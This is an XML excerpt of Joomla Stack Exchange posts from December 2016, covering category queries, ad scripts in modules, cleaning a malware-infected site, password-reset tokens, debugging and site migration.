  <row Id="18519" PostTypeId="2" ParentId="18516" CreationDate="2016-12-02T07:04:14.147" Score="1" Body="&lt;p&gt;Here is query that gets data from category table and display using following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there find com_thirdparty and replace with com_your-component-name&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = &quot;SELECT c.id, c.asset_id, c.access, c.alias, c.checked_out, c.checked_out_time,&#xA;            c.created_time, c.created_user_id, c.description, c.extension, c.hits, c.language, c.level,&#xA;            c.lft, c.metadata, c.metadesc, c.metakey, c.modified_time, c.note, c.params, c.parent_id,&#xA;            c.path, c.published, c.rgt, c.title, c.modified_user_id, c.version, CASE WHEN CHAR_LENGTH(c.alias) != 0 THEN CONCAT_WS(':', c.id, c.alias) ELSE c.id END as slug&#xA;FROM #__categories as c&#xA;LEFT JOIN  (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ON cat.lft BETWEEN parent.lft AND parent.rgt WHERE parent.extension = 'com_thirdparty' AND parent.published != 1 GROUP BY cat.id) AS badcats ON badcats.id = c.id&#xA;WHERE (c.extension='com_thirdparty' OR c.extension='system') AND c.access IN (1,1,5) AND c.published = 1 AND badcats.id is null&#xA;GROUP BY c.id, c.asset_id, c.access, c.alias, c.checked_out, c.checked_out_time,&#xA;             c.created_time, c.created_user_id, c.description, c.extension, c.hits, c.language, c.level,&#xA;             c.lft, c.metadata, c.metadesc, c.metakey, c.modified_time, c.note, c.params, c.parent_id,&#xA;             c.path, c.published, c.rgt, c.title, c.modified_user_id, c.version&#xA;ORDER BY c.lft&quot;;&#xA;$db-&amp;gt;setQuery($query);&#xA;$catresult = $db-&amp;gt;loadObjectList();&#xA;&#xA;&amp;lt;!-- display category --&amp;gt;&#xA;&amp;lt;select name=&quot;category&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select Category&amp;lt;/option&amp;gt;&#xA;    &amp;lt;optgroup&amp;gt;&#xA;    &amp;lt;?php&#xA;    foreach($catresult as $categoryoption){&#xA;        if($categoryoption-&amp;gt;level==1){ ?&amp;gt;&amp;lt;/optgroup&amp;gt;&amp;lt;optgroup label=&quot;&amp;lt;?php echo $categoryoption-&amp;gt;title?&amp;gt;&quot;&amp;gt;&amp;lt;?php }&#xA;        if($categoryoption-&amp;gt;level==2){ ?&amp;gt;&amp;lt;option value=&quot;&amp;lt;?php echo $categoryoption-&amp;gt;id?&amp;gt;&quot;&amp;gt;- &amp;lt;?php echo $categoryoption-&amp;gt;title?&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;?php }&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/optgroup&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8836" LastActivityDate="2016-12-02T07:04:14.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18521" PostTypeId="1" CreationDate="2016-12-02T18:37:10.563" Score="2" ViewCount="466" Body="&lt;p&gt;I try to add a module containing adsense code but it only shows blank space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First i thought it is a google adsense issue so i tried using other ad networks and they all give me the same result or they wont show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;than i thought it was a module issue so i tried many html extensions but nothing changed; they all start with a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, however i added a code from a ptc site that starts with &lt;code&gt;&amp;lt;a href&lt;/code&gt; and it worked just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so please can you help me add those ads code to my website.&lt;/p&gt;&#xA;" OwnerUserId="9270" LastActivityDate="2018-06-27T04:32:04.297" Title="Ads code show blank space or not showing at all" Tags="|jhtml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18522" PostTypeId="2" ParentId="18521" CreationDate="2016-12-02T19:48:16.790" Score="0" Body="&lt;p&gt;It is most likely filtering javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the custom module:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Plugins &gt; Editor - TinyMCE&lt;/li&gt;&#xA;&lt;li&gt;Remove &quot;script&quot; from the prohibited elements&lt;/li&gt;&#xA;&lt;li&gt;Add &quot;script&quot; to the valid elements&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will prevent that module stripping javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are coding your own module using the &lt;code&gt;editor&lt;/code&gt; field type, then make sure the filter is set to &lt;code&gt;raw&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above does not work, please expand your answer to explain what module you are using, and also confirm that the code is being stripped from the editor as soon as you save it (as opposed to it appearing in the module's admin, but just not appearing on the front end.)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-12-02T19:48:16.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18523" PostTypeId="1" AcceptedAnswerId="18524" CreationDate="2016-12-03T13:28:13.533" Score="2" ViewCount="94" Body="&lt;p&gt;I'm working with a set of Joomla! installations that has been infected by malware and have to clean them up as soon as possible. I'm not used to working with Joomla!. The sites have been badly managed, updates haven't been installed and the original extensions haven't been saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach to this is as follows&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Setup a clean installation of Joomla!&lt;/li&gt;&#xA;&lt;li&gt;Export the database and import it to another database with different credentials&lt;/li&gt;&#xA;&lt;li&gt;Copy all images from the previous installation to the clean installation&lt;/li&gt;&#xA;&lt;li&gt;Configure the clean installation to connect to the new database&lt;/li&gt;&#xA;&lt;li&gt;Install a new, clean, version of every extension to the clean Joomla! installation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm done with step 1 through 4, but the extensions are proving to be quite a problem. I only want to migrate the extensions that are being used, and I want to ensure that I can get the correct extension, and not just a similar one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to extract a list of all extensions using the query&#xA;&lt;code&gt;SELECT name, type, manifest_cache FROM prefix_extensions WHERE enabled = 1;&lt;/code&gt;. I've also filtered this list against a clean database installation of Joomla! to exclude all the default extensions, but I'm still left with a little over 50 extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use Google to search for every extension since I would risk getting the wrong extension just with a very similar name. Is there a better way to find out which extensions I actually need to migrate, and a way to find these extensions?&lt;/p&gt;&#xA;" OwnerUserId="9372" LastActivityDate="2016-12-04T05:40:25.290" Title="Finding a clean version of extensions during Joomla! migration?" Tags="|extensions|security|migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18524" PostTypeId="2" ParentId="18523" CreationDate="2016-12-03T16:41:41.580" Score="2" Body="&lt;p&gt;I think that the sequence that you're using is not what it should be. You should first do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install a fresh install of Joomla (same version that you have)&lt;/li&gt;&#xA;&lt;li&gt;Find all the extensions that are installed on the old website&lt;/li&gt;&#xA;&lt;li&gt;Check each one of these extensions against the &lt;a href=&quot;https://vel.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VEL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Install only the clean (and latest version) of these extensions on the new Joomla website&lt;/li&gt;&#xA;&lt;li&gt;Once you're done, you can point the fresh Joomla install to the old Joomla database and then update the Joomla website to the latest version (if you haven't already)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, the above approach, however, has a flaw in it, and it is with the extensions. If an updated extension has a different database structure than the one your old extension, then you will run into serious problems (especially if that extension runs on every page), so it's better to install the same version of the extension first on the fresh Joomla install and then, after pointing the fresh install to the old database, then you can update the extension. And this brings us to another problem, is that it is very hard to find previous versions for many extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We follow the below approach to cleanup Joomla websites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We extract a fresh Joomla (of the same version) instance on top of the old Joomla website.&lt;/li&gt;&#xA;&lt;li&gt;We check for hacked files (mainly as described &lt;a href=&quot;http://www.itoctopus.com/a-couple-of-shell-commands-to-find-hacked-php-files-on-a-joomla-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) and we delete the hacked files.&lt;/li&gt;&#xA;&lt;li&gt;We update all the extensions to the latest version (with the exception of those listed in the VEL, which we uninstall).&lt;/li&gt;&#xA;&lt;li&gt;We update Joomla to the latest version.&lt;/li&gt;&#xA;&lt;li&gt;We restrict access (through the .htaccess to the &lt;code&gt;index.php&lt;/code&gt; file)&lt;/li&gt;&#xA;&lt;li&gt;We install an application firewall&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-03T16:41:41.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18525" PostTypeId="2" ParentId="18521" CreationDate="2016-12-03T17:11:36.953" Score="1" Body="&lt;p&gt;If your website is new, then note that Google doesn't play ads on new websites immediately. Google implemented this a long time ago to ensure that spam websites are filtered out and do not run ads from its network.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-03T17:11:36.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18526" PostTypeId="2" ParentId="18523" CreationDate="2016-12-03T23:46:25.180" Score="2" Body="&lt;p&gt;Unfortunately, the extension table does not contain installed version or extension author information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To document this additional third party extension information, I recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;logging in to the back end and going to Extensions → Manage → Manage&lt;/li&gt;&#xA;&lt;li&gt;sorting by ID by clicking on the &quot;ID&quot; column heading&lt;/li&gt;&#xA;&lt;li&gt;compiling a list of third party extensions by scrolling down to where third party extensions have been added (usually ID = 10,000 or later) and documenting the extension name, currently installed version and hover over the author name to see the author details (see below for an example)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You now have enough information to search the Joomla Extensions Directory and/or the author website for the latest version of the extension and older versions if available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GDaaO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDaaO.png&quot; alt=&quot;extension author&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-12-04T05:40:25.290" LastActivityDate="2016-12-04T05:40:25.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18527" PostTypeId="2" ParentId="18177" CreationDate="2016-12-03T23:56:47.603" Score="0" Body="&lt;p&gt;The official instructions are at: &lt;a href=&quot;https://docs.joomla.org/J3.x:Installing_a_template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Installing_a_template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the link only answer but the official Joomla Documentation is more likely to be kept up to date than anything I copy into this answer.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-12-03T23:56:47.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18528" PostTypeId="1" AcceptedAnswerId="18551" CreationDate="2016-12-04T08:23:04.787" Score="5" ViewCount="1600" Body="&lt;p&gt;Is there any content plugin that let me to put any text/code/script before closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag? If there is no such plugin, is there any documentation about how to create that kind of plugin?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-12-04T10:44:27.927" LastActivityDate="2016-12-18T15:17:39.160" Title="How to add any text/script before &lt;/body&gt;" Tags="|plugin|content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18529" PostTypeId="2" ParentId="18528" CreationDate="2016-12-04T10:11:34.623" Score="2" Body="&lt;p&gt;Why use a Joomla plugin? You can just do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a position in the template (e.g. in your &lt;code&gt;templates/template-name/index.php&lt;/code&gt;) just before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag. Let's call this position &lt;code&gt;code&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Create a Custom HTML module (now called a Custom module), and add your script code to it, and then assign it to the &lt;code&gt;code&lt;/code&gt; position and to the appropriate pages.&lt;/li&gt;&#xA;&lt;li&gt;Remove the enclosing div tag added to the Custom HTML module as described &lt;a href=&quot;http://www.itoctopus.com/how-to-remove-the-div-tag-from-custom-html-modules&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't think in your scenario you should really use a plugin as a module will suffice and will do exactly what you need to do (it is also a cleaner approach, since plugins add to the overhead of all the pages).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-04T10:11:34.623" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18530" PostTypeId="1" AcceptedAnswerId="18534" CreationDate="2016-12-04T14:27:22.273" Score="2" ViewCount="131" Body="&lt;p&gt;Probably out of bad habit and laziness, before php 7, if I was debugging and   I wanted to know a value I would put in my code either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($myvalue);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;var_dump($myvalue);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the value I was after was in a function, for example, a function call after a form has been submitted I would use the same but with a break&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($myvalue);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;var_dump($myvalue);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prior to php version 7, php would complain about the break but at least it would let me see the $myvalue. Now in php7 it just throws a fatal error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the correct way to debug?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2016-12-04T16:53:06.447" Title="How to debug Joomla with php7" Tags="|debug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18532" PostTypeId="1" CreationDate="2016-12-04T15:20:13.153" Score="5" ViewCount="129" Body="&lt;p&gt;In what table is the token to reset a password saved? How is the token generated?&lt;/p&gt;&#xA;" OwnerUserId="9376" LastEditorUserId="120" LastEditDate="2016-12-04T21:30:45.567" LastActivityDate="2016-12-04T21:30:45.567" Title="Reset Password Help" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18533" PostTypeId="2" ParentId="18532" CreationDate="2016-12-04T16:30:58.940" Score="4" Body="&lt;p&gt;The password reset procedure happens in the following model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components\com_users\models\reset.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The token is generated by the following code just prior to the email being sent to the user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set the confirmation token.&#xA;    $token = JApplicationHelper::getHash(JUserHelper::genRandomPassword());&#xA;    $hashedToken = JUserHelper::hashPassword($token);&#xA;&#xA;    $user-&amp;gt;activation = $hashedToken;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can probably tell from the fuction names, this generates a random password and saves it as a secure hash in the activation field of the &lt;code&gt;users&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user resets their password, various checks are run, but this is the one that tests that the token matches the one the user has just entered.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($user) || $user-&amp;gt;activation !== $token)&#xA;        {&#xA;            $this-&amp;gt;setError(JText::_('COM_USERS_USER_NOT_FOUND'));&#xA;&#xA;            return false;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-12-04T16:30:58.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18534" PostTypeId="2" ParentId="18530" CreationDate="2016-12-04T16:53:06.447" Score="2" Body="&lt;p&gt;I often just use &lt;code&gt;die($variable);&lt;/code&gt;, which should work in your case - &lt;code&gt;break&lt;/code&gt; is just for loops.  NB I'm not saying this is the best way, and I'm interested to see if other users have better ways of debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also recommend you look at the &lt;a href=&quot;https://extensions.joomla.org/extension/j-dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;J!Dump plugin&lt;/a&gt; for what you are after.  This gives a lot more information when you dump something.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-12-04T16:53:06.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18535" PostTypeId="2" ParentId="18121" CreationDate="2016-12-04T17:21:32.477" Score="1" Body="&lt;p&gt;Check the collection of these extensions &lt;a href=&quot;https://extensions.joomla.org/tags/short-url&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. We haven't used any of them, but I suspect the CM Short URL would do exactly what you want.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-04T17:21:32.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18536" PostTypeId="1" AcceptedAnswerId="18539" CreationDate="2016-12-04T17:26:29.817" Score="2" ViewCount="214" Body="&lt;p&gt;My friend's web page was created with Joomla (c. 2013), and she wants to transfer her site to a new host. Her current host sent her a SQL Dump generated by PHPMyAdmin, which contains what I assume is the Joomla database tables, schemas, and data (i.e. it contains CREATE TABLE and INSERT VALUES statements, but I've never worked with Joomla, so I'm not positive these are from the Joomla back-end). How difficult is it to re-create her site from this data? I can work with databases (so I could rebuild the database from the SQL Dump) but have no web development experience. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9377" LastActivityDate="2016-12-05T01:15:14.293" Title="Transfer Joomla data from PHPMyAdmin SQL Dump" Tags="|database|sql|backups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18537" PostTypeId="2" ParentId="18478" CreationDate="2016-12-04T17:29:47.227" Score="1" Body="&lt;p&gt;As the comment on your question stated, check if you're going from www to non-www. However, I would say that this is not the problem, since you are having the problem more than twice (Category A, B, and C).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla session is very delicate yet reliable when left alone, so this means that you are, in your component, modifying the Joomla session in some way, or you are accessing the Joomla session in a wrong way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your lines of code that have to do with the session, or, better yet, share your component here, many are eager to help!&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-04T17:29:47.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18538" PostTypeId="1" CreationDate="2016-12-04T17:51:20.250" Score="3" ViewCount="216" Body="&lt;p&gt;I'm trying to divide a long tutorial I wrote into multiple pages. At the bottom of each page, viewers should see a &quot;previous&quot;/&quot;next&quot; button that takes them to the previous/next page (da!). I understood that this can be done by inserting &quot;page breaks&quot; however, when I do that, all I get are horizontal lines. Can anybody help me understand what I'm doing wrong? my page is located here : www.ez-26262.com, and if you look at the source, you can see the page breaks are inserted. The plug in is configured exactly as shown in step #2 in &lt;a href=&quot;https://www.ostraining.com/blog/joomla/page-break-viral/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this pagination tutorial&lt;/a&gt;. Any idea what I'm doing wrong?  &lt;/p&gt;&#xA;" OwnerUserId="9378" LastActivityDate="2016-12-15T11:43:38.720" Title="Page break on my page shows as simple horizontal line" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18539" PostTypeId="2" ParentId="18536" CreationDate="2016-12-04T21:54:04.080" Score="2" Body="&lt;p&gt;You should be able to use the SQL Dump to recreate the database using phpMyAdmin or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also need the Joomla files to be able to recreate the Joomla website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the files and the database have been recreated, you will likely need to edit the &lt;code&gt;configuration.php&lt;/code&gt; file in the root folder of the website and update the database credentials to the new values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$host&lt;/li&gt;&#xA;&lt;li&gt;$user&lt;/li&gt;&#xA;&lt;li&gt;$password&lt;/li&gt;&#xA;&lt;li&gt;$db&lt;/li&gt;&#xA;&lt;li&gt;$dbprefix&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and also update the paths to the tmp and logs folders:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$tmp_path&lt;/li&gt;&#xA;&lt;li&gt;$log_path&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If there are any initial issues with the moved website, try backing up the &lt;code&gt;.htaccess&lt;/code&gt; file (if there is one) in the root folder of the website to &lt;code&gt;.htacess.old&lt;/code&gt; or similar and copy the default &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; to see if this helps.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-12-04T21:54:04.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18540" PostTypeId="2" ParentId="18538" CreationDate="2016-12-04T22:30:10.710" Score="2" Body="&lt;p&gt;A better way to do this is to group the articles into a category (if they aren't already), add the articles to the same menu and set &quot;Show Navigation&quot; = &quot;Show&quot; in the article or menu options (see below for an example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The navigation order of the articles is controlled in Article Manager (filter to the specific category of articles and then sort in the required order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y8qTj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8qTj.png&quot; alt=&quot;Show Navigation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-12-15T11:43:38.720" LastActivityDate="2016-12-15T11:43:38.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18541" PostTypeId="1" CreationDate="2016-12-04T22:59:12.853" Score="2" ViewCount="281" Body="&lt;p&gt;I have a problem with the sticky menu.&lt;br&gt;&#xA;When scrolling the page down the menu as it jumps (sharp sticking). &lt;br&gt;&#xA;How can i do to sticking smoothly? &lt;br&gt;&#xA;This problem also occurs on mobile devices.&lt;/p&gt;&#xA;" OwnerUserId="9373" LastActivityDate="2017-12-05T22:46:09.590" Title="T3 Framework sticky menu issue" Tags="|menu|t3-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18542" PostTypeId="2" ParentId="18536" CreationDate="2016-12-05T01:15:14.293" Score="2" Body="&lt;p&gt;Is the old website still accessible? If yes, then I think the safest and easiest way to transfer joomla website is to use &lt;a href=&quot;https://extensions.joomla.org/extension/akeeba-backup&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; component. You just need to install this component and then create a backup.Once the backup is created then you just need to extract the backup in the new host and run the installation instruction.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-12-05T01:15:14.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18543" PostTypeId="1" CreationDate="2016-12-05T08:59:29.440" Score="3" ViewCount="469" Body="&lt;p&gt;with testmysite.thinkwithgoogle.com i tested an old Joomla 1.5 website and i got really bad results. I managed to working on some points and it was succesfull. Now i have a few points open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Eliminate render-blocking JavaScript and CSS in above-the-fold content.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could i do on this points? The Joomla is old and putting all js files into one or compressing css is destroying the site and its not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way how could i work around this point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also influencing the points with &lt;em&gt;Minify CSS, Minify HTML, Minify JavaScript.&lt;/em&gt; I tried a few things with Javascript async or embeding JS on the end of site, but then the site is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experince on this CSS and JS thing with Google testing Tool, that could give me some good advice on how to work with it?&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2016-12-06T09:11:20.157" Title="How to get high score on Google PageSpeed Insights with Joomla 1.5?" Tags="|seo|joomla-1.5|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18544" PostTypeId="1" CreationDate="2016-12-05T09:31:19.833" Score="1" ViewCount="181" Body="&lt;p&gt;I am using this javascript for smooth scroll to the desired item on the main page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/kswedberg/jquery-smooth-scroll&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/kswedberg/jquery-smooth-scroll&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not solve 2 problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Two menu (Menu Item Type: External URL) contains external anchor links and look like this: #about_us.&lt;br&gt;&#xA;Added to the scrollable element anchors .&lt;br&gt;&#xA;When i click on a menu item script works and moves in the right place, but because of internal links (for example from another menu item with article) does not go back.&lt;/li&gt;&#xA;&lt;li&gt;It is impossible to calibrate scrolling. It turns or less than you need to scroll or higher.&#xA;Please help me )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9373" LastActivityDate="2016-12-05T09:31:19.833" Title="Problem with anchor links (T3 Framework)" Tags="|menu|menu-item|t3-framework|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18545" PostTypeId="2" ParentId="18543" CreationDate="2016-12-05T10:11:23.133" Score="0" Body="&lt;p&gt;I am afraid that you are just out of luck trying to find suitable solution for such an old version of Joomla.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that was a site on current version of Joomla I would right away suggest to try with great optimization plugin &lt;a href=&quot;https://www.jch-optimize.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCH Optimize&lt;/a&gt;, but even though they keep extensive list of old releases of plugin in their &lt;a href=&quot;https://www.jch-optimize.net/downloads/joomla-releases.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Downloads section&lt;/a&gt;, last version compatible with Joomla 1.5 was v1.3.4, which you just can't download anymore.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same problem exists with any other extension I would recommend, because I have used a lot of them, but that was 4-5 years ago...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now... besides reasonable advice to upgrade/migrate that old site to J!3.6, for many reasons, out of which performance is least important, I have nothing else to suggest. :-(&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-12-05T10:11:23.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18546" PostTypeId="2" ParentId="18476" CreationDate="2016-12-05T10:22:13.973" Score="0" Body="&lt;p&gt;I guess what you need is a hotlink protection on your pdf files.&#xA;You could use this tool to generate the code to be added to your .htaccess file: &#xA;&lt;a href=&quot;http://www.htaccesstools.com/hotlink-protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.htaccesstools.com/hotlink-protection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9379" LastActivityDate="2016-12-05T10:22:13.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
